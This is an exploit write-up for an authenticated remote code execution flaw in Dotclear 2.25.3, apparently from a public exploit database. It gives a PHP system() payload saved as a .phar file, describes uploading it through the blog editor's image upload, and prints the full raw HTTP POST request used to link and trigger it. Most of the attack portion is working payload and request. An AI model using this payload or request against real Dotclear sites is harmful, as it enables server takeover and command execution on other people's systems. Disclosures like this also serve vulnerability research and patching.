85954a8fad
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2.1 KiB
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2.1 KiB
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Exploit Title: dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated)
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Application: dotclear
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Version: 2.25.3
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Bugs: Remote Code Execution (RCE) (Authenticated) via file upload
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Technology: PHP
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Vendor URL: https://dotclear.org/
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Software Link: https://dotclear.org/download
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Date of found: 08.04.2023
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Author: Mirabbas Ağalarov
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Tested on: Linux
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2. Technical Details & POC
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========================================
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While writing a blog post, we know that we can upload images. But php did not allow file upload. This time
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<?php echo system("id"); ?>
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I wrote a file with the above payload, a poc.phar extension, and uploaded it.
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We were able to run the php code when we visited your page
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poc request:
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POST /dotclear/admin/post.php HTTP/1.1
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Host: localhost
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Content-Length: 566
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Cache-Control: max-age=0
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sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
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sec-ch-ua-mobile: ?0
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sec-ch-ua-platform: "Linux"
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Upgrade-Insecure-Requests: 1
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Origin: http://localhost
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: navigate
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Sec-Fetch-User: ?1
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Sec-Fetch-Dest: document
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Referer: http://localhost/
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: dcxd=f3bb50e4faebea34598cf52bcef38548b68bc1cc
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Connection: close
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post_title=Welcome+to+Dotclear%21&post_excerpt=&post_content=%3Cp%3EThis+is+your+first+entry.+When+you%27re+ready+to+blog%2C+log+in+to+edit+or+delete+it.fghjftgj%3Ca+href%3D%22%2Fdotclear%2Fpublic%2Fpoc.phar%22%3Epoc.phar%3C%2Fa%3E%3C%2Fp%3E%0D%0A&post_notes=&id=1&save=Save+%28s%29&xd_check=ca4243338e38de355f21ce8a757c17fbca4197736275ba4ddcfced4a53032290d7b3c50badd4a3b9ceb2c8b3eed2fc3b53f0e13af56c68f2b934670027e12f4e&post_status=1&post_dt=2023-04-08T06%3A37&post_lang=en&post_format=xhtml&cat_id=&new_cat_title=&new_cat_parent=&post_open_comment=1&post_password=
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poc video : https://youtu.be/oIPyLqLJS70 |